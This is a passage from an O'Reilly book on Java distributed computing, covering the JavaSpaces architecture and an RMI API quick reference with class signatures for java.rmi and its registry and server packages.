This service has similar goals to JDBC. It provides an interface for querying and modifying collections of objects, including selecting, updating, inserting, or deleting objects from these collections. The most obvious implementation for this service would be an interface between CORBA applications and SQL-based relational databases or object databases.

Previous | Home | Next
B.3. Security Service | Book Index | C. JavaSpaces
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JavaSpaces (Java Distributed Computing)

 Java Distributed Computing Search this book

Appendix C. JavaSpaces

Contents:

Overview of JavaSpaces
Entry and EntryRep
Transactions
The JavaSpace Interface

JavaSpaces is a new distributed object system being proposed by Sun as a package at a higher level than the existing RMI and object serialization facilities built into Java. JavaSpaces provides a distributed, persistent object system that is roughly modeled after earlier shared memory systems, such as LINDA. While it has some analogies with parallel shared memory systems such as the Posix shm_xxx library and shared memory facilities in parallel languages like Python, it also has some important differences.

This appendix provides an overview of the general JavaSpace architecture as currently described in the draft JavaSpace specification. It doesn't go into detail about how to use the JavaSpace API, since the API isn't fully available yet. This appendix only includes the core elements of the specification, without discussing any proposed features that may or may not be in the final API.

C.1. Overview of JavaSpaces

The distributed application paradigm supported by JavaSpaces is one in which remote agents interact with each other indirectly through shared data object spaces. Objects are stored in a JavaSpace in the form of entries. Clients write entries into the space, read entries from the space, or take entries from the space, as shown in Figure C-1.

Figure C-1. JavaSpaces general architecture

Access to the entries in JavaSpaces is through a small set of basic operations:

read

Read an entry from the space that matches a template.

write

Add an entry to the space.

take

Read and remove an entry from the space.

notify

Send a notification through a given event handler if entries that match a template are added to the space. A notification request has a time-out period associated with it: if a matching entry isn't added within the time-out period, the notify request fails and is dropped from the JavaSpace.

Multiple basic operations can be assembled into transactions that group basic operations into a single, atomic aggregate operation.

There can be many clients and many JavaSpaces in a given distributed application. One client, and even one transaction from one client, can access multiple JavaSpaces. So instead of one agent sending a message to another, or invoking a remote method directly on another object within an agent, agents interact by writing and reading objects in JavaSpaces. An important feature of the JavaSpaces specification is that all operations on a given JavaSpace are considered unordered. If you have multiple threads or multiple remote agents issuing operations on a JavaSpace, and for some reason you want to impose some order on the operations, then it's up to you to synchronize your threads or agents as needed.

Each JavaSpace holds data in the form of entries, which can either be read, written, or taken from a JavaSpace. Each entry has one or more fields that are used to match incoming requests from clients. Each request to read, take, or be notified about an entry includes a template for the entry to match. In order for an entry in the JavaSpace to match, the entry must be of the same type as the template object. Each field in the template can either have a non-null value, which must match the fields in a matching entry in the JavaSpace, or a null value, which matches any value in that field.

All operations on JavaSpaces are "transactionally secure," which means that each operation or transaction is either entirely committed or entirely noncommitted to a JavaSpace. So if a write to a JavaSpace succeeds, then you can be assured that the Entry was written and will appear in the next client read or take operation on the space. An operation on JavaSpaces can be either in the form of a simple operation, or a group of operations within a single Transaction.

The authors of the JavaSpace specification make a point of distinguishing JavaSpaces from a distributed database system. A JavaSpace knows the type of its entries, and can compare field values, but it doesn't understand anything about the structure of the data in its entries. It also isn't meant to provide opaque read/write access to persistent data. An entry in a JavaSpace is a serialized copy of the object written to the space, and entries returned to clients as a result of read or take operations are separate copies of the objects in the space.

Previous | Home | Next
B.4. Other Key CORBA Services | Book Index | C.2. Entry and EntryRep
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Entry and EntryRep (Java Distributed Computing)

 Java Distributed Computing Search this book

C.2. Entry and EntryRep

Every JavaSpace consists solely of entries, which are represented by instances of the Entry class. An entry is a group of object references, which represent the fields in the Entry. When an entry is added to a JavaSpace, the entry is stored in serialized form by independently serializing each field in the Entry. Because of this, every field in an entry has to be public, has to be Serializable, and has to be an Object (not a primitive type).

EntryRep s act as the conduit for Entrys into and out of JavaSpaces. They serialize Entrys before going into a JavaSpace during a write operation, and de-serialize Entrys returned as the result of read, take, or notify operations. A given EntryRep can be written multiple times to the same JavaSpace, which would result in multiple identical entries in the space.

EntryReps are used to specify JavaSpace entries in read or take operations. A client creates an Entry with the values and wildcards that it wants to match in a JavaSpace. Then it wraps it in an EntryRep, which generates the serialized form of the template Entry and passes it to the JavaSpace as an argument of the operation. The JavaSpace compares the serialized bytes of the template Entry to its own Entrys, and matches on the first one whose serialized bytes are the same as those of the non-null fields in the template Entry.

Another benefit of serializing each field of an Entry independently is that it allows for fault-tolerant retrieval of entries from the space. If a read, take, or notify operation finds a match and an error occurs while deserializing it, an UnusableEntryException is thrown. The exception object contains a list of the fields from the entry that were successfully deserialized from the JavaSpace, along with a list of the unusable fields and a list of nested exceptions that explain why each unusable field failed to be deserialized. Some reasons for failed deserialization are missing class files on the client, or a RemoteException caused by a remote reference on the Entry that isn't valid any more. Your client can react in different ways to an UnusableEntryException: it can try to use the partial entry that it received, it can ignore the partial entry and try to read or take another entry, or it can give up altogether.

The authors of the JavaSpaces specification make a point of mentioning that, since at this time the Java API doesn't support persistent server objects, it's dangerous to put remote references into a JavaSpace as part of an Entry. If the server object behind the remote reference is destroyed for some reason (e.g., server restart, server crash, etc.), then the remote reference becomes invalid; however, this won't be discovered until a client tries to get the entry from the JavaSpace. The authors suggest that you use metadata about the remote object, namely its remote host and registry name, in the Entry, and let the client establish its own remote reference to the server object.

Previous | Home | Next
C.1. Overview of JavaSpaces | Book Index | C.3. Transactions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transactions (Java Distributed Computing)

 Java Distributed Computing Search this book

C.3. Transactions

A Transaction is a group of basic operations that act as an atomic operation on one or more JavaSpaces. A Transaction is atomic in the sense that all or none of the operations in the Transaction will be carried out. If any of the operations within the Transaction fail (e.g., a read fails to match an entry, or a notify times out before it is triggered), then the entire Transaction fails and any sub-operations that had succeeded are "rolled back," and the JavaSpace is left in the same state it would have been in if the Transaction had never been attempted.

Previous | Home | Next
C.2. Entry and EntryRep | Book Index | C.4. The JavaSpace Interface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The JavaSpace Interface (Java Distributed Computing)

 Java Distributed Computing Search this book

C.4. The JavaSpace Interface

The JavaSpace specification also defines a JavaSpace class that provides an interface to a remote JavaSpace. The JavaSpace interface provides read(), write(), take(), and notify() methods, which allow clients to perform the basic operations on the JavaSpace. Each of these methods takes an EntryRep (used as either an entry to put into the space, or a template to use for matching an entry already in the space), an optional Transaction within which the operation should be carried out, and an optional Identity, which can be used to verify the client's access to the JavaSpace entries against an access-control list. The Identity can be used to verify the caller's right to execute the given operation on the JavaSpace, perhaps by checking an access-control list. The current specification is not clear about whether this Identity argument will use the Identity class from the Java Security API, but it seems likely that it would.

The rest of this section describes the methods available on the JavaSpace interface for executing operations and transactions against the space.

C.4.1. write()

void write(EntryRep r, Transaction t, Identity i)
    throws RemoteException, TransactionException, SecurityException

A write() call adds an EntryRep to the JavaSpace. Each field in the enclosed Entry is serialized independently, and the serialized bytes making up the entire Entry are sent to the JavaSpace for storage and later lookup. If a Transaction is included in the write() call, then the new entry isn't visible to other clients of the JavaSpace until the entire Transaction executes. If the entry is taken during the course of the rest of the Transaction, then the Transaction, including the write operation, will succeed, but the new entry will never be seen by other clients of the JavaSpace.

C.4.2. read()

EntryRep read(EntryRep template, Transaction t, Identity i)
    throws RemoteException, TransactionException, SecurityException

If an entry in the JavaSpace matches the EntryRep template, it is returned from the method call as an EntryRep object. If a non-nullTransaction is included in the read() call, then a matching EntryRep will only be returned if the entire Transaction succeeds. Any entries that are read during the course of the enclosing Transaction are put on a pending list, and can't be taken by other operations or transactions until the read and its Transaction are finished (successfully executed or aborted). If all entries matching the read()'s template entry are pending in unfinished transactions, then a TransactionConflictException is thrown.

C.4.3. take()

EntryRep take(EntryRep template, Transaction t, Identity i)
    throws RemoteException, TransactionException, SecurityException

The take() operation on the JavaSpace interface behaves much like the read() operation, except that a matching entry is also removed from the space. If the Transaction argument is non-null, then a matching entry won't be returned until the Transaction completes. If a RemoteException is raised by the take() call, then it's possible that the entry was removed from the space but not returned in its entirety.

C.4.4. notify()

EventRegID notify(EntryRep template, EventCatcher c, Transaction t,
                  Identity i, int timeout)
    throws RemoteException, TransactionException, SecurityException

A call to notify() serves to register interest in matching entries for a specific period of time. If a matching entry is written to the space before the notification request expires, then the notify() method on the given EventCatcher will be called. The EventRegID object returned to the client contains a set of long values, including an event ID that will come with the notification, a cookie value that can be used to renew or cancel the notification, and the actual timeout period assigned to the notification request by the JavaSpace. If a non-nullTransaction is passed into the method call, then the event catcher will be notified of matching entries for the duration of the enclosing Transaction. At the end of the transaction, the notification request will be dropped from the space.

The JavaSpace interface also includes the following two methods for controlling notification requests that have been previously issued to the space.

C.4.5. renew()

long renew(long cookie, long extension)
    throws RemoteException, NotRegisteredException

This method allows a client to request an extension to a notification request. The cookie argument is the value returned in the EventRegID from the original notify() call and the extension is the desired extension to the registered notification. The method returns the actual time extension granted by the JavaSpace, if any. The units of these time values have not yet been detailed in the JavaSpaces specification.

C.4.6. cancel()

void cancel(long cookie) throws RemoteException, NotRegisteredException

The notification request associated with the cookie is cancelled.

Previous | Home | Next
C.3. Transactions | Book Index | D. RMI Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RMI Quick Reference (Java Distributed Computing)

 Java Distributed Computing Search this book

Appendix D. RMI Quick Reference

Contents:

The java.rmi Package
The java.rmi.registry Package
The java.rmi.server Package

This appendix is a quick reference guide to RMI, the remote object package included in JDK 1.1. Since there are many examples in the book that use RMI, we felt it would be useful for you to have this reference right here at your fingertips.

The RMI API is contained in the java.rmi package, which includes three major sub-packages: java.rmi.dgc, java.rmi.registry, and java.rmi.server. We include all but the java.rmi.dgc package in this reference; that package is really internal to the RMI implementation, having to do with distributed garbage collection, and the average reader won't have any reason to use the package directly.

This reference is broken down into sections by packages. First we look at the classes in the base java.rmi package, then java.rmi.registry, and, finally, java.rmi.server. Within each package, the classes are listed alphabetically.

D.1. The java.rmi Package

The core package in RMI contains the Remote interface as well as the Naming class and the RMISecurityManager class. These interfaces are used by both RMI clients and servers to define remote interfaces, look them up over the network and use them securely. In addition, this core package contains a number of basic RMI exception types used during remote object lookups and remote method calls.

java.rmi.AccessException

A RemoteException caused by an attempt to perform an improper operation on the Naming or Registry interface. A registry only allows local requests to bind, rebind or unbind objects, so an attempt to call these methods on a remote registry results in an AccessException.

public class AccessException extends java.rmi.RemoteException {
// Public constructors
    public AccessException(String descr);
    public AccessException(String descr, Exception detail);
}
java.rmi.AlreadyBoundException

An exception that is thrown when an attempt is made to bind an object to a name that is already bound.

public class AlreadyBoundException extends java.lang.Exception {
// Public constructors
    public AlreadyBoundException();
    public AlreadyBoundException(String descr);
}
java.rmi.ConnectException

A RemoteException that's thrown when a remote host refuses to connect during a remote method call.

public class ConnectException extends RemoteException {
// Public constructors
    public ConnectException(String descr);
    public ConnectException(String descr, Exception nestedExc);
}
java.rmi.ConnectIOException

A RemoteException thrown if there is an I/O error while attempting to make a remote method call.

public class ConnectIOException extends RemoteException {
    public ConnectIOException(String descr);
    public ConnectIOException(String descr, Exception ex);
}
java.rmi.MarshalException

A RemoteException thrown if an I/O error occurs while attempting to marshal any part of a remote method call (header data or method arguments).

public class MarshalException extends RemoteException {
// Public constructors
    public MarshalException(String s);
    public MarshalException(String s, Exception ex);
}
java.rmi.Naming

This is the primary application interface to the naming service within the RMI registry. References to remote objects are obtained with the lookup() method. Local object implementations can be bound to names within the local registry using the bind() and rebind() methods. Locally bound objects can be removed from the name registry using unbind(). All of the names for objects currently stored in the registry can be obtained using the list() method.

Each name argument to the methods on the Naming interface takes the form of a URL (e.g., rmi://remoteHost:port/objName). If a local object is being referenced, and the object is exported to the default registry port, then the URL can simply take the form of the object's name in the local registry (e.g., objName). This is possible because the rmi: protocol is assumed if it isn't present in the URL, and the default host is the local host.

While the lookup() method can reference any remote RMI registry, the bind(), rebind(), and unbind() methods can only be called on the local registry. Attempting to call these methods against a remote registry will result in an AccessException being thrown.

public final class Naming {
// Class Methods
    public static void bind(String name, Remote obj) // Register
        throws AlreadyBoundException, java.net.MalformedURLException,
        UnknownHostException, RemoteException;
    public static String[] list(String name) // List bound object names
        throws RemoteException, java.net.MalformedURLException,
        UnknownHostException
    public static Remote lookup(String name) // Gets remote object
        throws NotBoundException, java.net.MalformedURLException,
        UnknownHostException, RemoteException;
    public static void rebind(String name, Remote obj)
        throws RemoteException, java.net.MalformedURLException,
        UnknownHostException;
    public static void unbind(String name) // Remove an object
        throws RemoteException, NotBoundException,
        java.net.MalformedURLException, UnknownHostException;
}
java.rmi.NoSuchObjectException

A RemoteException thrown when you attempt to invoke a method on a remote object that is no longer available.

public class NoSuchObjectException extends java.rmi.RemoteException {
// Public constructors
    public NoSuchObjectException(String descr);
}
java.rmi.NotBoundException

An exception that is thrown when a lookup is attempted using a name with no object bound to it.

public class NotBoundException extends java.lang.Exception {
// Public constructors
    public NotBoundException();
    public NotBoundException(String descr);
}
java.rmi.Remote

Every remote object has to implement this interface, and any methods intended to be remotely callable have to be defined within a Remote interface. This is a placeholder interface that identifies all remote objects, but doesn't define any methods of its own.

public interface Remote {}
java.rmi.RemoteException

An IOException that is thrown when an error occurs during any remote object operation. The RemoteException includes a Throwable data member that represents the nested exception that caused the RemoteException to be thrown. For example, if an exception occurs on the server while executing a remote method, then the client receives a RemoteException (in the form of a ServerException, one of its subclasses) with its Throwable data member initialized to the server-side exception that caused the client-side RemoteException.

public class RemoteException extends java.io.IOException {
// Public Constructors
    public RemoteException();
    public RemoteException(String descr);
    public RemoteException(String descr, Throwable nestedExc);
// Public Instance Methods
    public String getMessage();
// Public Instance Variables
    public Throwable detail;
}
java.rmi.RMISecurityException

A SecurityException thrown by the RMISecurityManager when a security violation is detected during a remote operation.

public class RMISecurityException extends java.lang.SecurityException {
// Public Constructors
    public RMISecurityException(String name);
    public RMISecurityException(String name, String arg);
}
java.rmi.RMISecurityManager

The RMISecurityManager enforces the security policy for classes that are loaded as stubs for remote objects, by overriding all of the relevant access-check methods from the SecurityManager. By default, stub objects are only allowed to perform class definition and class access operations. If the local security manager is not an RMISecurityManager (using the System.setSecurityManager() method), then stub classes will only be loadable from the local file system.

You normally won't need to interact with the RMISecurityManager directly within your application code, except to set it as the system security manager before entering your RMI code.

public class RMISecurityManager extends SecurityManager {
// Public Constructors
    public RMISecurityManager();
// Public Instance Methods
    public synchronized void checkAccept(String host, int port);
    public synchronized void checkAccess(Thread t);
    public synchronized void checkAccess(ThreadGroup g);
    public void checkAwtEventQueueAccess();
    public synchronized void checkConnect(String host, int port);
    public void checkConnect(String host, int port, Object context);
    public synchronized void checkCreateClassLoader();
    public void checkDelete(String file);
    public synchronized void checkExec(String cmd);
    public synchronized void checkExit(int status);
    public synchronized void checkLink(String lib);
    public synchronized void checkListen(int port);
    public void checkMemberAccess(Class clazz, int which);
    public void checkMulticast(InetAddress maddr);
    public void checkMulticast(InetAddress maddr, byte ttl);
    public synchronized void checkPackageAccess(String pkg);
    public synchronized void checkPackageDefinition(String pkg);
    public void checkPrintJobAccess();
    public synchronized void checkPropertiesAccess();
    public synchronized void checkPropertyAccess(String key);
    public synchronized void checkRead(FileDescriptor fd);
    public synchronized voidcheckRead(String file);
    public void checkRead(String file, Object context);
    public void checkSecurityAccess(String provider);
    public synchronized void checkSetFactory();
    public void checkSystemClipboardAccess();
    public synchronized boolean checkTopLevelWindow(Object window);
    public synchronized void checkWrite(FileDescriptor fd);
    public synchronized void checkWrite(String file);
    public Object getSecurityContext();
}
java.rmi.ServerError

An error that occurs while a server is executing a remote method. The nested Throwable data member (inherited from RemoteException) contains the server-side exception that generated the error.

public class ServerError extends RemoteException {
// Public Constructors
    public ServerError(String descr, Error err);
}
java.rmi.ServerException

An exception that occurs while a server is executing a remote method. The nested Throwable data member (inherited from RemoteException) contains the server-side exception that generated the exception.

public class ServerException extends RemoteException {
// Public Constructors
    public ServerException(String descr);
    public ServerException(String descr, Exception nestedExc);
}
java.rmi.ServerRuntimeException

A RemoteException that occurs while the server is executing a remote method.

public class ServerRuntimeException extends RemoteException {
// Public Constructors
    public ServerRuntimeException(String descr, Exception nestedExc);
}
java.rmi.StubNotFoundException

This exception can occur either when an object is being exported to participate in remote RMI calls, or during a remote method call. During export on the server, this exception is thrown if the stub class for the object can't be found or used for some reason (e.g., the stub class isn't in the CLASSPATH of the server process, or the stub class can't be instantiated). During a remote method call, the client can receive this exception if the remote object hasn't been exported completely or correctly.

public class StubNotFoundException extends RemoteException {
// Public Constructors
    public StubNotFoundException(String s);
    public StubNotFoundException(String s, Exception ex);
}
java.rmi.UnexpectedException

All exceptions are unexpected, right? An UnexpectedException is thrown if an exception that isn't specified on a remote method's signature is encountered during the return from a remote method call. The unexpected exception can occur on the server or on the client. The nested Throwable object inherited from RemoteException contains the actual exception that occurred.

public class UnexpectedException extends RemoteException {
// Public Constructors
    public UnexpectedException(String descr);
    public UnexpectedException(String descr, Exception NestedExc);
}
java.rmi.UnknownHostException

This RemoteException is thrown if the host specified during a Naming lookup can't be found.

public class UnknownHostException extends RemoteException {
// Public Constructors
    public UnknownHostException(String descr);
    public UnknownHostException(String descr, Exception nestedEx);
}
java.rmi.UnmarshalException

This RemoteException is thrown if an error occurs while unmarshaling the return value from a remote method call. The source of the error could be an I/O error while sending the header or the value of the return from the server to the client, or the fact that the class of the return object is not found.

public class UnmarshalException extends RemoteException {
// Public Constructors
    public UnmarshalException(String s);
    public UnmarshalException(String s, Exception ex);
}
Previous | Home | Next
C.4. The JavaSpace Interface | Book Index | D.2. The java.rmi.registry Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi.registry Package (Java Distributed Computing)

 Java Distributed Computing Search this book

D.2. The java.rmi.registry Package

This package contains classes that provide an interface and implementation for the various elements of the RMI object registry.

java.rmi.registry.LocateRegistry

This is a low-level interface to the RMI registry service, either on the local host or on remote servers. On lookups, the Naming service parses the host and port from the remote object URL and uses the LocateRegistry to connect to the remote registry. The various getRegistry() methods provide the means to get a reference to the local registry, or a stub to a remote registry running on a given host and port. The createRegistry() method creates a registry running on the local host on the given port number.

public final class LocateRegistry {
// Class Methods
    public static Registry createRegistry(int port) throws RemoteException;
    public static Registry getRegistry() throws RemoteException;
    public static Registry getRegistry(int port) throws RemoteException;
    public static Registry getRegistry(String host)
        throws RemoteException, UnknownHostException;
    public static Registry getRegistry(String host, int port)
        throws RemoteException, UnknownHostException;
}
java.rmi.registry.Registry

The Registry is an interface to the RMI object registry that runs on every node in a distributed RMI system. While the Naming interface can be used to look up objects stored in any registry on the network, a Registry operates on a single registry on a single host. URL object names are passed into methods on the Naming service, which finds the right Registry stub using the LocateRegistry interface, and then calls the lookup() method on the remote (or local) Registry to get a stub for the remote object. A similar sequence of calls takes place with the local Registry when bind(), rebind(), or unbind() are called on the Naming interface.

The Registry stores objects under unique names. An object is assigned to a name in the Registry using its bind() method. The object assigned to a particular name can be changed using the rebind() method. Objects are removed from the Registry using the unbind() method. The lookup() method is used to find objects by name in the Registry, and the list() method is used to get a list of the names of all of the objects currently in the Registry.

public interface Registry extends Remote {
// Class Constants
    public static final int REGISTRY_PORT = 1099;
// Public Instance Methods
    public void bind(String name, Remote obj) throws RemoteException,
        AlreadyBoundException, AccessException;
    public String[] list() throws RemoteException, AccessException;
    public Remote lookup(String name)
        throws RemoteException, NotBoundException, AccessException;
    public void rebind(String name, Remote obj)
        throws RemoteException, AccessException;
    public void unbind(String name) throws RemoteException,
        NotBoundException, AccessException;
}
java.rmi.registry.RegistryHandler

This interface is mainly of interest to implementors of RMI registry services. It defines the interface to the internal registry-handling implementation.

public interface RegistryHandler {
// Public Instance Methods
    public Registry registryImpl(int port) throws RemoteException;
    public Registry registryStub(String host, int port)
                    throws RemoteException, UnknownHostException;
}
Previous | Home | Next
D.1. The java.rmi Package | Book Index | D.3. The java.rmi.server Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.rmi.server Package (Java Distributed Computing)

 Java Distributed Computing Search this book

D.3. The java.rmi.server Package

This package contains the classes used in server implementations of remote objects. The RemoteServer class acts as the base class for all RMI server objects. UnicastRemoteObject, the single subclass of RemoteServer provided in this package, implements a non-persistent, point-to-point object communication scheme. Other subclasses of RemoteServer could be written to implement multicast object communication, replicated objects, etc. The java.rmi.server package also contains several Exception subclasses relevant to the server implementation of a remote object.

java.rmi.server.ExportException

This RemoteException is thrown if an attempt is made to export a remote object on a port that is already in use.

public class ExportException extends java.rmi.RemoteException {
// Public Constructors
    public ExportException(String descr);
    public ExportException(String descr, Exception nestedExc);
}
java.rmi.server.LoaderHandler

This defines the interface to the internal handler used by the RMIClassLoader to load classes over the network.

public interface LoaderHandler {
// Class Constants
    public final static String packagePrefix;
// Public Instance Methods
    public Object getSecurityContext(ClassLoader loader);
    public Class loadClass(String name);
    public Class loadClass(URL codebase, String name)
                 throws MalformedURLException, ClassNotFoundException;
}
java.rmi.server.LogStream

This class provides the server with an output stream to an error log. LogStreams can't be created directly by the application. Instead, a handle on a LogStream is obtained by calling the static log() method with the name of the desired log. If the named log doesn't exist, the default log is returned. The default PrintStream used to create new LogStreams can be gotten through the getDefaultStream() method, and set using the setDefaultStream() method.

public class LogStream extends PrintStream {
// Class Constants
    public static final int SILENT;
    public static final int BRIEF;
    public static final int VERBOSE;
// Class Methods
    public static synchronized PrintStream getDefaultStream();
    public static LogStream log(String name);
    public static int parseLevel(String s);
    public static synchronized void setDefaultStream(
       PrintStream newDefault);
// Public Instance Methods
    public synchronized OutputStream getOutputStream();
    public synchronized void setOutputStream(OutputStream out);
    public String toString();
    public void write(byte b[], int off, int len);
    public void write(int b);
}
java.rmi.server.ObjID

An ObjID is used on an object server to uniquely identify exported remote objects. It's used primarily in an RMI server during distributed garbage collection.

The equals() method is overridden from Object to return true only if the objects identified by the two ObjIDs are equal. The ObjID class also has read() and write() methods that serve to marshal and unmarshal an ObjID from I/O streams.

public final class ObjID implements java.io.Serializable {
// Public Constructors
    public ObjID();
    public ObjID(int num);
// Class Constants
    public static final int REGISTRY_ID;
    public static final int DGC_ID;
// Class Methods
    public static ObjID read(ObjectInput in)
                        throws java.io.IOException;
// Public Instance Methods
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
    public void write(ObjectOutput out) throws java.io.IOException;
}
java.rmi.server.Operation

An Operation contains a description of a method on a remote object.

public class Operation {
// Public Constructors
    public Operation(String op);
// Public Instance Methods
    public String getOperation();
    public String toString();
}
java.rmi.server.RemoteCall

A RemoteCall is the interface used by stubs and skeletons to perform remote method calls. The getInputStream() and getOutputStream() methods return streams that can be used to marshal arguments or return values, and unmarshal them on the other end of the method call.

public interface RemoteCall {
    public void done() throws IOException;
    public void executeCall() throws Exception;
    public ObjectInput getInputStream()  throws IOException;
    public ObjectOutput getOutputStream()  throws IOException;
    public ObjectOutput getResultStream(boolean success)
                        throws IOException, StreamCorruptedException;
    public void releaseInputStream() throws IOException;
    public void releaseOutputStream()  throws IOException;
}
java.rmi.server.RemoteObject

The RemoteObject class reimplements key Object methods for remote objects, and maintains a RemoteRef object that is a handle to the actual remote object. The equals() implementation returns true only if the two referenced remote objects are equal. The hashCode() method is implemented so that every remote stub that refers to the same remote object will have the same hash code.

public abstract class RemoteObject
    implements Remote, java.io.Serializable {
// Protected Constructors
    protected RemoteObject();
    protected RemoteObject(RemoteRef newref);
// Protected Instance Variables
    transient protected RemoteRef >ref;
// Public Instance Methods
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
}
java.rmi.server.RemoteRef

A handle on the object implementing a remote object reference. Each RemoteObject contains a RemoteRef, which acts as its interface to the actual remote object it represents. Normally, you won't need to interact directly with RemoteRefs from your application code. Rather, application code will interact with RemoteObjects, which use their internal RemoteRefs to perform remote method invocations.

The newCall() method is used to create a call object for invoking a remote method on the referenced object. The invoke() method actually executes a remote method invocation. If a remote method returns successfully, then the done() method is called to clean up the connection to the remote object.

The remoteEquals() , remoteHashCode() , and remoteToString() methods on RemoteRef are used by RemoteObjects to implement the remote versions of the equals(), hashCode(), and toString() methods.

public interface RemoteRef extends java.io.Externalizable {
// Class Constants
    public final static String packagePrefix;
// Public Instance Methods
    public void done(RemoteCall call) throws RemoteException;
    public String getRefClass(java.io.ObjectOutput out);
    public void invoke(RemoteCall call) throws Exception;
    public RemoteCall newCall(RemoteObject obj, Operation[] op,
                              int opnum, long hash)
                      throws RemoteException;
    public boolean remoteEquals(RemoteRef obj);
    public int remoteHashCode();
    public String remoteToString();
}
java.rmi.server.RemoteServer

This class acts as an abstract base class for all remote object server implementations. The intent is for subclasses to implement the semantics of the remote object (e.g., multicast remote objects, replicated objects). In the current version of RMI, the only concrete subclass provided is UnicastRemoteServer, which implements a nonreplicated remote object.

The getClientHost() method returns the name of the host for the client being served in the current thread. The getLog() and setLog() methods access the call log for this RemoteServer.

public abstract class RemoteServer extends RemoteObject {
// Protected Constructors
    protected RemoteServer();
    protected RemoteServer(RemoteRef ref);
// Class Methods
    public static String getClientHost()
                         throws ServerNotActiveException;
    public static java.io.PrintStream getLog();
    public static void setLog(java.io.OutputStream out);
}
java.rmi.server.RemoteStub

All client stub classes generated by the rmic compiler are derived from this abstract class. A client receives a RemoteStub when it successfully looks up a remote object through the RMI registry. A client stub serves as a client interface to the remote object it references, converting method calls on its interface into remote method invocations on the remote object implementation.

public abstract class RemoteStub extends RemoteObject {
// Protected Constructors
    protected RemoteStub();
    protected RemoteStub(RemoteRef ref);
// Protected Class Methods
    protected static void setRef(RemoteStub stub, RemoteRef ref);
}
java.rmi.server.RMIClassLoader

This class loads classes over the network using URLs. The class has two loadClass() methods: one for loading a class from a given (absolute) URL, and another for loading a class from a given (relative) URL, which starts at a particular codebase.

public class RMIClassLoader {
// Class Methods
    public static Object getSecurityContext(ClassLoader loader);
    public static Class loadClass(String name)
        throws MalformedURLException, ClassNotFoundException;
    public static Class loadClass(URL codebase, String name)
        throws MalformedURLException, ClassNotFoundException;
}
java.rmi.server.RMIFailureHandler

The failure() method on the current RMIFailureHandler is called when the RMI communications system fails to create a Socket or ServerSocket. The current handler is set using the setFailureHandler() method on RMISocketFactory. The failure() method returns a boolean value that indicates whether the RMI system should retry the socket connection.

public interface RMIFailureHandler {
// Public Instance Methods
    public boolean failure(Exception ex);
}
java.rmi.server.RMISocketFactory

This abstract class provides an interface for the RMI internals to use to create sockets. The factory can create either Sockets for clients, or ServerSockets for servers. The factory maintains an RMIFailureHandler that it uses to deal with failures encountered while attempting to create sockets. If an error is encountered while creating a socket, the failure() method on the current RMIFailureHandler is called. If the return value is true, then the RMISocketFactory attempts the socket creation again, otherwise the factory gives up and throws an IOException.

Client sockets are created using the createSocket() method, while server sockets are created using the createServerSocket() method. The current RMISocketFactory is accessed using the static getSocketFactory() and setSocketFactory() methods. The RMIFailureHandler for the current factory is accessed using the getFailureHandler() and setFailureHandler() methods.

public abstract class RMISocketFactory {
// Public Instance Methods
    public abstract ServerSocket createServerSocket(int port)
                                 throws IOException;
    public abstract Socket createSocket(String host, int port)
                           throws IOException;
// Class Methods
    public static RMIFailureHandler getFailureHandler();
    public static RMISocketFactory getSocketFactory();
    public static void setFailureHandler(RMIFailureHandler fh);
    public static void setSocketFactory(RMISocketFactory fac)
                       throws IOException;
}
java.rmi.server.ServerCloneException

This exception is thrown if an attempt to clone a RemoteServer object fails while the clone is being exported. The nested exception is the RemoteException that was thrown during the cloning operation.

public class ServerCloneException extends CloneNotSupportedException {
// Public Constructors
    public ServerCloneException(String desc)
    public ServerCloneException(String desc, Exception nestedExc);
// Public Instance Variables
    public Exception detail;
// Public Instance Methods
    public String getMessage();
}
java.rmi.server.ServerNotActiveException

This exception is thrown if the getClientHost() method is called on a RemoteServer when the server isn't handling a remote method call.

public class ServerNotActiveException extends java.lang.Exception {
// Public Constructors
    public ServerNotActiveException();
    public ServerNotActiveException(String desc);
}
java.rmi.server.ServerRef

This is an interface to the server-side implementation of a remote object. The getClientHost() method returns the name of the host whose remote method call is currently being serviced by the object implementation. If the server object is not servicing a remote method call when getClientHost() is called, then a ServerNotActiveException is thrown. The exportObject() method is meant to either create or find a client stub for the given object implementation, using the data provided.

public interface ServerRef extends RemoteRef {
    public RemoteStub exportObject(Remote obj, Object data)
                      throws RemoteException;
    public String getClientHost() throws ServerNotActiveException;
}
java.rmi.server.Skeleton

A Skeleton object lives with a server-side object implementation, dispatching method calls to the remote object implementation. Server implementations generated by the rmic compiler use skeletons.

The dispatch() method invokes the method specified by the operation number opnum on the object implementation obj. It unmarshals the method arguments from the input stream obtained from the RemoteCall argument, passes them to the appropriate method on the Remote object, marshals the results (if any), and returns them to the caller using the output stream on the RemoteCall. The getOperations() method returns an array of Operation objects, which represent the methods available on the remote object.

public interface Skeleton {
    public void dispatch(Remote obj, RemoteCall theCall,
                         int opnum, long hash)
                throws Exception;
    public Operation[] getOperations();
}
java.rmi.server.SkeletonMismatchException

This RemoteException is thrown during a remote method call if a mismatch is detected on the server between the hash code of the client stub and the hash code of the server implementation. It is usually received by the client wrapped in a ServerException.

public class SkeletonMismatchException extends RemoteException {
// Public Constructors
    public SkeletonMismatchException(String s);
}
java.rmi.server.SkeletonNotFoundException

This RemoteException is thrown during the export of a remote object, if the corresponding skeleton class for the object either can't be found or can't be loaded.

public class SkeletonNotFoundException extends RemoteException {
// Public Constructors
    public SkeletonNotFoundException(String desc);
    public SkeletonNotFoundException(String desc, Exception nestedEx);
}
java.rmi.server.SocketSecurityException

This exception is a subclass of ExportException that is thrown if a socket security violation is encountered while attempting to export a remote object. An example would be an attempt to export an object on an illegal port.

public class SocketSecurityException extends ExportException {
    public SocketSecurityException(String s);
    public SocketSecurityException(String s, Exception ex);
}
java.rmi.server.UID

A UID is an identifier that is unique with respect to a particular host. UIDs are used internally by RMIs distributed garbage collector, and are generally not dealt with directly in application code.

public final class UID implements java.io.Serializable {
// Public Constructors
    public UID();
    public UID(short num);
// Class Methods
